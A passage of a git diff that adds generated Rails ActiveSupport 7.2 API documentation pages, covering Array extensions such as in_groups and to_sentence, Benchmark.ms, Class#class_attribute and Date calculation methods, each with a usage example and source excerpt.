+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract!() + +

+ + +
+

Removes and returns the elements for which the block returns a true value. If no block is given, an Enumerator is returned instead.

+ +
numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
+odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9]
+numbers # => [0, 2, 4, 6, 8]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/extract.rb, line 10
+  def extract!
+    return to_enum(:extract!) { size } unless block_given?
+
+    extracted_elements = []
+
+    reject! do |element|
+      extracted_elements << element if yield(element)
+    end
+
+    extracted_elements
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract_options!() + +

+ + +
+

Extracts options from a set of arguments. Removes and returns the last element in the array if it’s a hash, otherwise returns a blank hash.

+ +
def options(*args)
+  args.extract_options!
+end
+
+options(1, 2)        # => {}
+options(1, 2, a: :b) # => {:a=>:b}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/extract_options.rb, line 24
+  def extract_options!
+    if last.is_a?(Hash) && last.extractable_options?
+      pop
+    else
+      {}
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fifth() + +

+ + +
+

Equal to self[4].

+ +
%w( a b c d e ).fifth # => "e"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 76
+  def fifth
+    self[4]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + forty_two() + +

+ + +
+

Equal to self[41]. Also known as accessing β€œthe reddit”.

+ +
(1..42).to_a.forty_two # => 42
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 83
+  def forty_two
+    self[41]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fourth() + +

+ + +
+

Equal to self[3].

+ +
%w( a b c d e ).fourth # => "d"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 69
+  def fourth
+    self[3]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from(position) + +

+ + +
+

Returns the tail of the array from position.

+ +
%w( a b c d ).from(0)  # => ["a", "b", "c", "d"]
+%w( a b c d ).from(2)  # => ["c", "d"]
+%w( a b c d ).from(10) # => []
+%w().from(0)           # => []
+%w( a b c d ).from(-2) # => ["c", "d"]
+%w( a b c ).from(-10)  # => []
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 12
+  def from(position)
+    self[position, length] || []
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_groups(number, fill_with = nil, &block) + +

+ + +
+

Splits or iterates over the array in number of groups, padding any remaining slots with fill_with unless it is false.

+ +
%w(1 2 3 4 5 6 7 8 9 10).in_groups(3) {|group| p group}
+["1", "2", "3", "4"]
+["5", "6", "7", nil]
+["8", "9", "10", nil]
+
+%w(1 2 3 4 5 6 7 8 9 10).in_groups(3, '&nbsp;') {|group| p group}
+["1", "2", "3", "4"]
+["5", "6", "7", "&nbsp;"]
+["8", "9", "10", "&nbsp;"]
+
+%w(1 2 3 4 5 6 7).in_groups(3, false) {|group| p group}
+["1", "2", "3"]
+["4", "5"]
+["6", "7"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/grouping.rb, line 62
+  def in_groups(number, fill_with = nil, &block)
+    # size.div number gives minor group size;
+    # size % number gives how many objects need extra accommodation;
+    # each group hold either division or division + 1 items.
+    division = size.div number
+    modulo = size % number
+
+    # create a new array avoiding dup
+    groups = []
+    start = 0
+
+    number.times do |index|
+      length = division + (modulo > 0 && modulo > index ? 1 : 0)
+      groups << last_group = slice(start, length)
+      last_group << fill_with if fill_with != false &&
+        modulo > 0 && length == division
+      start += length
+    end
+
+    if block_given?
+      groups.each(&block)
+    else
+      groups
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_groups_of(number, fill_with = nil, &block) + +

+ + +
+

Splits or iterates over the array in groups of size number, padding any remaining slots with fill_with unless it is false.

+ +
%w(1 2 3 4 5 6 7 8 9 10).in_groups_of(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", "6"]
+["7", "8", "9"]
+["10", nil, nil]
+
+%w(1 2 3 4 5).in_groups_of(2, '&nbsp;') {|group| p group}
+["1", "2"]
+["3", "4"]
+["5", "&nbsp;"]
+
+%w(1 2 3 4 5).in_groups_of(2, false) {|group| p group}
+["1", "2"]
+["3", "4"]
+["5"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/grouping.rb, line 22
+  def in_groups_of(number, fill_with = nil, &block)
+    if number.to_i <= 0
+      raise ArgumentError,
+        "Group size must be a positive integer, was #{number.inspect}"
+    end
+
+    if fill_with == false
+      collection = self
+    else
+      # size % number gives how many extra we have;
+      # subtracting from number gives how many to add;
+      # modulo number ensures we don't add group of just fill.
+      padding = (number - size % number) % number
+      collection = dup.concat(Array.new(padding, fill_with))
+    end
+
+    if block_given?
+      collection.each_slice(number, &block)
+    else
+      collection.each_slice(number).to_a
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + including(*elements) + +

+ + +
+

Returns a new array that includes the passed elements.

+ +
[ 1, 2, 3 ].including(4, 5) # => [ 1, 2, 3, 4, 5 ]
+[ [ 0, 1 ] ].including([ [ 1, 0 ] ]) # => [ [ 0, 1 ], [ 1, 0 ] ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 36
+  def including(*elements)
+    self + elements.flatten(1)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inquiry() + +

+ + +
+

Wraps the array in an ActiveSupport::ArrayInquirer object, which gives a friendlier way to check its string-like contents.

+ +
pets = [:cat, :dog].inquiry
+
+pets.cat?     # => true
+pets.ferret?  # => false
+
+pets.any?(:cat, :ferret)  # => true
+pets.any?(:ferret, :alligator)  # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/inquiry.rb, line 16
+  def inquiry
+    ActiveSupport::ArrayInquirer.new(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + second() + +

+ + +
+

Equal to self[1].

+ +
%w( a b c d e ).second # => "b"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 55
+  def second
+    self[1]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + second_to_last() + +

+ + +
+

Equal to self[-2].

+ +
%w( a b c d e ).second_to_last # => "d"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 97
+  def second_to_last
+    self[-2]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + split(value = nil, &block) + +

+ + +
+

Divides the array into one or more subarrays based on a delimiting value or the result of an optional block.

+ +
[1, 2, 3, 4, 5].split(3)              # => [[1, 2], [4, 5]]
+(1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/grouping.rb, line 93
+  def split(value = nil, &block)
+    arr = dup
+    result = []
+    if block_given?
+      while (idx = arr.index(&block))
+        result << arr.shift(idx)
+        arr.shift
+      end
+    else
+      while (idx = arr.index(value))
+        result << arr.shift(idx)
+        arr.shift
+      end
+    end
+    result << arr
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + third() + +

+ + +
+

Equal to self[2].

+ +
%w( a b c d e ).third # => "c"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 62
+  def third
+    self[2]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + third_to_last() + +

+ + +
+

Equal to self[-3].

+ +
%w( a b c d e ).third_to_last # => "c"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 90
+  def third_to_last
+    self[-3]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to(position) + +

+ + +
+

Returns the beginning of the array up to position.

+ +
%w( a b c d ).to(0)  # => ["a"]
+%w( a b c d ).to(2)  # => ["a", "b", "c"]
+%w( a b c d ).to(10) # => ["a", "b", "c", "d"]
+%w().to(0)           # => []
+%w( a b c d ).to(-2) # => ["a", "b", "c"]
+%w( a b c ).to(-10)  # => []
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/access.rb, line 24
+  def to(position)
+    if position >= 0
+      take position + 1
+    else
+      self[0..position]
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_formatted_s(format = :default) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_fs +
+ + + + +
+ +
+

+ + to_fs(format = :default) + +

+ + +
+

Extends Array#to_s to convert a collection of elements into a comma separated id list if :db argument is given as the format.

+ +

This method is aliased to to_formatted_s.

+ +
Blog.all.to_fs(:db)  # => "1,2,3"
+Blog.none.to_fs(:db) # => "null"
+[1,2].to_fs          # => "[1, 2]"
+
+
+ + + +
+ Also aliased as: to_formatted_s +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/conversions.rb, line 94
+  def to_fs(format = :default)
+    case format
+    when :db
+      if empty?
+        "null"
+      else
+        collect(&:id).join(",")
+      end
+    else
+      to_s
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+

Calls to_param on all its elements and joins the result with slashes. This is used by url_for in Action Pack.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 42
+  def to_param
+    collect(&:to_param).join "/"
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_query(key) + +

+ + +
+

Converts an array into a string suitable for use as a URL query string, using the given key as the param name.

+ +
['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 50
+  def to_query(key)
+    prefix = "#{key}[]"
+
+    if empty?
+      nil.to_query(prefix)
+    else
+      collect { |value| value.to_query(prefix) }.join "&"
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_sentence(options = {}) + +

+ + +
+

Converts the array to a comma-separated sentence where the last element is joined by the connector word.

+ +

You can pass the following options to change the default behavior. If you pass an option key that doesn’t exist in the list below, it will raise an ArgumentError.

+ +

Options

+
  • +

    :words_connector - The sign or word used to join all but the last element in arrays with three or more elements (default: β€œ, ”).

    +
  • +

    :last_word_connector - The sign or word used to join the last element in arrays with three or more elements (default: β€œ, and ”).

    +
  • +

    :two_words_connector - The sign or word used to join the elements in arrays with two elements (default: β€œ and ”).

    +
  • +

    :locale - If i18n is available, you can set a locale and use the connector options defined on the β€˜support.array’ namespace in the corresponding dictionary file.

    +
+ +

Examples

+ +
[].to_sentence                      # => ""
+['one'].to_sentence                 # => "one"
+['one', 'two'].to_sentence          # => "one and two"
+['one', 'two', 'three'].to_sentence # => "one, two, and three"
+
+['one', 'two'].to_sentence(passing: 'invalid option')
+# => ArgumentError: Unknown key: :passing. Valid keys are: :words_connector, :two_words_connector, :last_word_connector, :locale
+
+['one', 'two'].to_sentence(two_words_connector: '-')
+# => "one-two"
+
+['one', 'two', 'three'].to_sentence(words_connector: ' or ', last_word_connector: ' or at least ')
+# => "one or two or at least three"
+
+ +

Using :locale option:

+ +
# Given this locale dictionary:
+#
+#   es:
+#     support:
+#       array:
+#         words_connector: " o "
+#         two_words_connector: " y "
+#         last_word_connector: " o al menos "
+
+['uno', 'dos'].to_sentence(locale: :es)
+# => "uno y dos"
+
+['uno', 'dos', 'tres'].to_sentence(locale: :es)
+# => "uno o dos o al menos tres"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/conversions.rb, line 60
+  def to_sentence(options = {})
+    options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
+
+    default_connectors = {
+      words_connector: ", ",
+      two_words_connector: " and ",
+      last_word_connector: ", and "
+    }
+    if options[:locale] != false && defined?(I18n)
+      i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})
+      default_connectors.merge!(i18n_connectors)
+    end
+    options = default_connectors.merge!(options)
+
+    case length
+    when 0
+      +""
+    when 1
+      +"#{self[0]}"
+    when 2
+      +"#{self[0]}#{options[:two_words_connector]}#{self[1]}"
+    else
+      +"#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_xml(options = {}) + +

+ + +
+

Returns a string that represents the array in XML by invoking to_xml on each element. Active Record collections delegate their representation in XML to this method.

+ +

All elements are expected to respond to to_xml, if any of them does not then an exception is raised.

+ +

The root node reflects the class name of the first element in plural if all elements belong to the same type and that’s not Hash:

+ +
customer.projects.to_xml
+
+<?xml version="1.0" encoding="UTF-8"?>
+<projects type="array">
+  <project>
+    <amount type="decimal">20000.0</amount>
+    <customer-id type="integer">1567</customer-id>
+    <deal-date type="date">2008-04-09</deal-date>
+    ...
+  </project>
+  <project>
+    <amount type="decimal">57230.0</amount>
+    <customer-id type="integer">1567</customer-id>
+    <deal-date type="date">2008-04-15</deal-date>
+    ...
+  </project>
+</projects>
+
+ +

Otherwise the root element is β€œobjects”:

+ +
[{ foo: 1, bar: 2}, { baz: 3}].to_xml
+
+<?xml version="1.0" encoding="UTF-8"?>
+<objects type="array">
+  <object>
+    <bar type="integer">2</bar>
+    <foo type="integer">1</foo>
+  </object>
+  <object>
+    <baz type="integer">3</baz>
+  </object>
+</objects>
+
+ +

If the collection is empty the root element is β€œnil-classes” by default:

+ +
[].to_xml
+
+<?xml version="1.0" encoding="UTF-8"?>
+<nil-classes type="array"/>
+
+ +

To ensure a meaningful root element use the :root option:

+ +
customer_with_no_projects.projects.to_xml(root: 'projects')
+
+<?xml version="1.0" encoding="UTF-8"?>
+<projects type="array"/>
+
+ +

By default name of the node for the children of root is root.singularize. You can change it with the :children option.

+ +

The options hash is passed downwards:

+ +
Message.all.to_xml(skip_types: true)
+
+<?xml version="1.0" encoding="UTF-8"?>
+<messages>
+  <message>
+    <created-at>2008-03-07T09:58:18+01:00</created-at>
+    <id>1</id>
+    <name>1</name>
+    <updated-at>2008-03-07T09:58:18+01:00</updated-at>
+    <user-id>1</user-id>
+  </message>
+</messages>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/conversions.rb, line 183
+  def to_xml(options = {})
+    require "active_support/builder" unless defined?(Builder::XmlMarkup)
+
+    options = options.dup
+    options[:indent]  ||= 2
+    options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
+    options[:root]    ||= \
+      if first.class != Hash && all?(first.class)
+        underscored = ActiveSupport::Inflector.underscore(first.class.name)
+        ActiveSupport::Inflector.pluralize(underscored).tr("/", "_")
+      else
+        "objects"
+      end
+
+    builder = options[:builder]
+    builder.instruct! unless options.delete(:skip_instruct)
+
+    root = ActiveSupport::XmlMini.rename_key(options[:root].to_s, options)
+    children = options.delete(:children) || root.singularize
+    attributes = options[:skip_types] ? {} : { type: "array" }
+
+    if empty?
+      builder.tag!(root, attributes)
+    else
+      builder.tag!(root, attributes) do
+        each { |value| ActiveSupport::XmlMini.to_tag(children, value, options) }
+        yield builder if block_given?
+      end
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + without(*elements) + +

+ + +
+ +
+ + + + + +
+ Alias for: excluding +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Benchmark.html b/src/7.2/classes/Benchmark.html new file mode 100644 index 0000000000..0b22b7cd9f --- /dev/null +++ b/src/7.2/classes/Benchmark.html @@ -0,0 +1,108 @@ +--- +title: Benchmark +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + ms +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + ms(&block) + +

+ + +
+

Benchmark realtime in milliseconds.

+ +
Benchmark.realtime { User.all }
+# => 8.0e-05
+
+Benchmark.ms { User.all }
+# => 0.074
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/benchmark.rb, line 13
+  def ms(&block)
+    1000 * realtime(&block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/BigDecimal.html b/src/7.2/classes/BigDecimal.html new file mode 100644 index 0000000000..7ad7211e32 --- /dev/null +++ b/src/7.2/classes/BigDecimal.html @@ -0,0 +1,60 @@ +--- +title: BigDecimal +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Class.html b/src/7.2/classes/Class.html new file mode 100644 index 0000000000..8f60f91e2e --- /dev/null +++ b/src/7.2/classes/Class.html @@ -0,0 +1,286 @@ +--- +title: Class +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + class_attribute(*attrs, instance_accessor: true, instance_reader: instance_accessor, instance_writer: instance_accessor, instance_predicate: true, default: nil) + +

+ + +
+

Declare a class-level attribute whose value is inheritable by subclasses. Subclasses can change their own value and it will not impact parent class.

+ +

Options

+
  • +

    :instance_reader - Sets the instance reader method (defaults to true).

    +
  • +

    :instance_writer - Sets the instance writer method (defaults to true).

    +
  • +

    :instance_accessor - Sets both instance methods (defaults to true).

    +
  • +

    :instance_predicate - Sets a predicate method (defaults to true).

    +
  • +

    :default - Sets a default value for the attribute (defaults to nil).

    +
+ +

Examples

+ +
class Base
+  class_attribute :setting
+end
+
+class Subclass < Base
+end
+
+Base.setting = true
+Subclass.setting            # => true
+Subclass.setting = false
+Subclass.setting            # => false
+Base.setting                # => true
+
+ +

In the above case as long as Subclass does not assign a value to setting by performing Subclass.setting = something, Subclass.setting would read value assigned to parent class. Once Subclass assigns a value then the value assigned by Subclass would be returned.

+ +

This matches normal Ruby method inheritance: think of writing an attribute on a subclass as overriding the reader method. However, you need to be aware when using class_attribute with mutable structures as Array or Hash. In such cases, you don’t want to do changes in place. Instead use setters:

+ +
Base.setting = []
+Base.setting                # => []
+Subclass.setting            # => []
+
+# Appending in child changes both parent and child because it is the same object:
+Subclass.setting << :foo
+Base.setting               # => [:foo]
+Subclass.setting           # => [:foo]
+
+# Use setters to not propagate changes:
+Base.setting = []
+Subclass.setting += [:foo]
+Base.setting               # => []
+Subclass.setting           # => [:foo]
+
+ +

For convenience, an instance predicate method is defined as well. To skip it, pass instance_predicate: false.

+ +
Subclass.setting?       # => false
+
+ +

Instances may overwrite the class value in the same way:

+ +
Base.setting = true
+object = Base.new
+object.setting          # => true
+object.setting = false
+object.setting          # => false
+Base.setting            # => true
+
+ +

To opt out of the instance reader method, pass instance_reader: false.

+ +
object.setting          # => NoMethodError
+object.setting?         # => NoMethodError
+
+ +

To opt out of the instance writer method, pass instance_writer: false.

+ +
object.setting = false  # => NoMethodError
+
+ +

To opt out of both instance methods, pass instance_accessor: false.

+ +

To set a default value for the attribute, pass default:, like so:

+ +
class_attribute :settings, default: {}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/class/attribute.rb, line 85
+  def class_attribute(*attrs, instance_accessor: true,
+    instance_reader: instance_accessor, instance_writer: instance_accessor, instance_predicate: true, default: nil)
+
+    class_methods, methods = [], []
+    attrs.each do |name|
+      unless name.is_a?(Symbol) || name.is_a?(String)
+        raise TypeError, "#{name.inspect} is not a symbol nor a string"
+      end
+
+      class_methods << <<~RUBY # In case the method exists and is not public
+        silence_redefinition_of_method def #{name}
+        end
+      RUBY
+
+      methods << <<~RUBY if instance_reader
+        silence_redefinition_of_method def #{name}
+          defined?(@#{name}) ? @#{name} : self.class.#{name}
+        end
+      RUBY
+
+      class_methods << <<~RUBY
+        silence_redefinition_of_method def #{name}=(value)
+          redefine_method(:#{name}) { value } if singleton_class?
+          redefine_singleton_method(:#{name}) { value }
+          value
+        end
+      RUBY
+
+      methods << <<~RUBY if instance_writer
+        silence_redefinition_of_method(:#{name}=)
+        attr_writer :#{name}
+      RUBY
+
+      if instance_predicate
+        class_methods << "silence_redefinition_of_method def #{name}?; !!self.#{name}; end"
+        if instance_reader
+          methods << "silence_redefinition_of_method def #{name}?; !!self.#{name}; end"
+        end
+      end
+    end
+
+    location = caller_locations(1, 1).first
+    class_eval(["class << self", *class_methods, "end", *methods].join(";").tr("\n", ";"), location.path, location.lineno)
+
+    attrs.each { |name| public_send("#{name}=", default) }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + descendants() + +

+ + +
+

Returns an array with all classes that are < than its receiver.

+ +
class C; end
+C.descendants # => []
+
+class B < C; end
+C.descendants # => [B]
+
+class A < B; end
+C.descendants # => [B, A]
+
+class D < C; end
+C.descendants # => [B, A, D]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/class/subclasses.rb, line 19
+  def descendants
+    subclasses.concat(subclasses.flat_map(&:descendants))
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Date.html b/src/7.2/classes/Date.html new file mode 100644 index 0000000000..4c755bd4fd --- /dev/null +++ b/src/7.2/classes/Date.html @@ -0,0 +1,1435 @@ +--- +title: Date +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
DATE_FORMATS={ +short: "%d %b", +long: "%B %d, %Y", +db: "%Y-%m-%d", +inspect: "%Y-%m-%d", +number: "%Y%m%d", +long_ordinal: lambda { |date| +day_format = ActiveSupport::Inflector.ordinalize(date.day) +date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007" +}, +rfc822: "%d %b %Y", +iso8601: lambda { |date| date.iso8601 } +}
+ + + + +

Attributes

+ + + + + + + + +
+ [RW] + beginning_of_week_default
+ + + + +

Class Public methods

+ +
+

+ + beginning_of_week() + +

+ + +
+

Returns the week start (e.g. :monday) for the current request, if this has been set (via Date.beginning_of_week=). If Date.beginning_of_week has not been set for the current request, returns the week start specified in config.beginning_of_week. If no config.beginning_of_week was specified, returns :monday.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 19
+    def beginning_of_week
+      ::ActiveSupport::IsolatedExecutionState[:beginning_of_week] || beginning_of_week_default || :monday
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_week=(week_start) + +

+ + +
+

Sets Date.beginning_of_week to a week start (e.g. :monday) for current request/thread.

+ +

This method accepts any of the following day symbols: :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 27
+    def beginning_of_week=(week_start)
+      ::ActiveSupport::IsolatedExecutionState[:beginning_of_week] = find_beginning_of_week!(week_start)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current() + +

+ + +
+

Returns Time.zone.today when Time.zone or config.time_zone are set, otherwise just returns Date.today.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 48
+    def current
+      ::Time.zone ? ::Time.zone.today : ::Date.today
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_beginning_of_week!(week_start) + +

+ + +
+

Returns week start day symbol (e.g. :monday), or raises an ArgumentError for invalid day symbol.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 32
+    def find_beginning_of_week!(week_start)
+      raise ArgumentError, "Invalid beginning of week: #{week_start}" unless ::Date::DAYS_INTO_WEEK.key?(week_start)
+      week_start
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tomorrow() + +

+ + +
+

Returns a new Date representing the date 1 day after today (i.e. tomorrow’s date).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 43
+    def tomorrow
+      ::Date.current.tomorrow
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + yesterday() + +

+ + +
+

Returns a new Date representing the date 1 day ago (i.e. yesterday’s date).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 38
+    def yesterday
+      ::Date.current.yesterday
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <=>(other) + +

+ + +
+ +
+ + + +
+ Also aliased as: compare_without_coercion +
+ + + +
+ Alias for: compare_with_coercion +
+ + + + +
+ +
+

+ + acts_like_date?() + +

+ + +
+

Duck-types as a Date-like class. See Object#acts_like?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/acts_like.rb, line 7
+  def acts_like_date?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + advance(options) + +

+ + +
+

Provides precise Date calculations for years, months, and days. The options parameter takes a hash with any of these keys: :years, :months, :weeks, :days.

+ +

The increments are applied in order of time units from largest to smallest. In other words, the date is incremented first by :years, then by :months, then by :weeks, then by :days. This order can affect the result around the end of a month. For example, incrementing first by months then by days:

+ +
Date.new(2004, 9, 30).advance(months: 1, days: 1)
+# => Sun, 31 Oct 2004
+
+ +

Whereas incrementing first by days then by months yields a different result:

+ +
Date.new(2004, 9, 30).advance(days: 1).advance(months: 1)
+# => Mon, 01 Nov 2004
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 127
+  def advance(options)
+    d = self
+
+    d = d >> options[:years] * 12 if options[:years]
+    d = d >> options[:months] if options[:months]
+    d = d + options[:weeks] * 7 if options[:weeks]
+    d = d + options[:days] if options[:days]
+
+    d
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ago(seconds) + +

+ + +
+

Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00) and then subtracts the specified number of seconds.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 55
+  def ago(seconds)
+    in_time_zone.since(-seconds)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at_beginning_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + at_end_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_day +
+ + + + +
+ +
+

+ + at_midday() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + at_middle_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + at_midnight() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + at_noon() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + beginning_of_day() + +

+ + +
+

Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)

+
+ + + +
+ Also aliased as: midnight, at_midnight, at_beginning_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 67
+  def beginning_of_day
+    in_time_zone
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change(options) + +

+ + +
+

Returns a new Date where one or more of the elements have been changed according to the options parameter. The options parameter is a hash with a combination of these keys: :year, :month, :day.

+ +
Date.new(2007, 5, 12).change(day: 1)               # => Date.new(2007, 5, 1)
+Date.new(2007, 5, 12).change(year: 2005, month: 1) # => Date.new(2005, 1, 12)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 143
+  def change(options)
+    ::Date.new(
+      options.fetch(:year, year),
+      options.fetch(:month, month),
+      options.fetch(:day, day)
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compare_with_coercion(other) + +

+ + +
+

Allow Date to be compared with Time by converting to DateTime and relying on the <=> from there.

+
+ + + +
+ Also aliased as: <=> +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 152
+  def compare_with_coercion(other)
+    if other.is_a?(Time)
+      to_datetime <=> other
+    else
+      compare_without_coercion(other)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compare_without_coercion(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: <=> +
+ + + + +
+ +
+

+ + default_inspect() + +

+ + +
+ +
+ + + + + +
+ Alias for: inspect +
+ + + + +
+ +
+

+ + end_of_day() + +

+ + +
+

